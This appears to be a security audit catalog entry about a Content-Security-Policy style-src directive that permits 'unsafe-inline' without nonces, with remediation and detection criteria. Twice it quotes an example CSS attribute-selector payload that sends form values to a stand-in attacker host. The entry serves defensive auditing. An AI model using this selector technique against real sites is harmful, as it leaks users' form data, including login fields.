# style-src does not use unsafe-inline without nonces

- **Pattern:** `ab-002433` (`security-headers-ii.csp-quality.style-src-nonces`)
- **Severity:** low
- **Lifecycle:** active
- **Last modified:** 2026-04-18
- **Canonical URL:** https://auditbuffet.com/patterns/ab-002433
- **License:** CC-BY-4.0 — attribute to AuditBuffet Pattern Catalog (https://auditbuffet.com/patterns/ab-002433)

## Why it matters

CSS injection with `'unsafe-inline'` in `style-src` enables attribute-selector-based data exfiltration: `input[value^='a'] { background: url(https://attacker.com/a) }` leaks form values one character at a time without executing any JavaScript. This technique bypasses script-only XSS filters and works in environments with strict JS restrictions. CWE-79 applies to CSS-based data exfiltration, and CWE-693 covers the protection gap created by `'unsafe-inline'`. OWASP A03 lists CSS injection as a distinct injection category, not merely a subcategory of script injection.

## Severity rationale

Low because CSS injection cannot directly execute code but can exfiltrate sensitive form data character-by-character via selector-based side channels, making it a meaningful privacy risk for authentication forms.

## Remediation

Migrate inline styles to nonce-gated `style-src`. Most CSS-in-JS libraries (styled-components, Emotion, vanilla-extract) support nonce injection through their server-rendering configuration.

```
Content-Security-Policy: style-src 'self' 'nonce-{perRequest}'
```

For styled-components, pass the nonce via the `ServerStyleSheet` API. For Emotion, configure the `nonce` option in `createEmotionServer`. Remove `'unsafe-inline'` only after verifying all inline styles are nonce-tagged or migrated to external stylesheets — check the browser console for CSP violations before deploying.

## Detection

- **ID:** `style-src-nonces`
- **Severity:** `low`
- **What to look for:** Parse the CSP header for the `style-src` directive. CSS injection is lower risk than script injection but can enable data exfiltration via CSS selectors (e.g., `input[value^="a"] { background: url(attacker.com/a) }`). Check whether `style-src` uses `'unsafe-inline'` and whether nonces or hashes are present.
- **Pass criteria:** `style-src` uses nonces/hashes, OR does not include `'unsafe-inline'` — 0% of style-src sources should be `'unsafe-inline'` without a nonce. Count the number of style-src sources and quote the full style-src value in the report.
- **Fail criteria:** `style-src` includes `'unsafe-inline'` without any nonce or hash.
- **Do NOT pass when:** `style-src` has `'unsafe-inline'` without any nonce — even if the project uses a CSS-in-JS library. The nonce approach works with most CSS-in-JS solutions.
- **Skip (N/A) when:** No Content-Security-Policy header configured. Run Security Headers & Basics first.
- **Detail on fail:** `"style-src includes 'unsafe-inline' without nonces — CSS injection can enable data exfiltration via selector-based attacks"` or `"style-src 'self' 'unsafe-inline' — unsafe-inline weakens CSS injection protection"`
- **Remediation:** CSS injection can exfiltrate data using attribute selectors. Migrate from `'unsafe-inline'` to nonces for inline styles:

  ```
  style-src 'self' 'nonce-abc123'
  ```

  For CSS-in-JS libraries (styled-components, emotion), configure them to use the nonce attribute. Most modern CSS-in-JS libraries support nonce injection. This is lower priority than script-src nonces but still worth addressing.

## External references

- cwe CWE-79
- cwe CWE-693
- owasp A03

Taxons: injection-and-input-trust

HTML version: https://auditbuffet.com/patterns/ab-002433
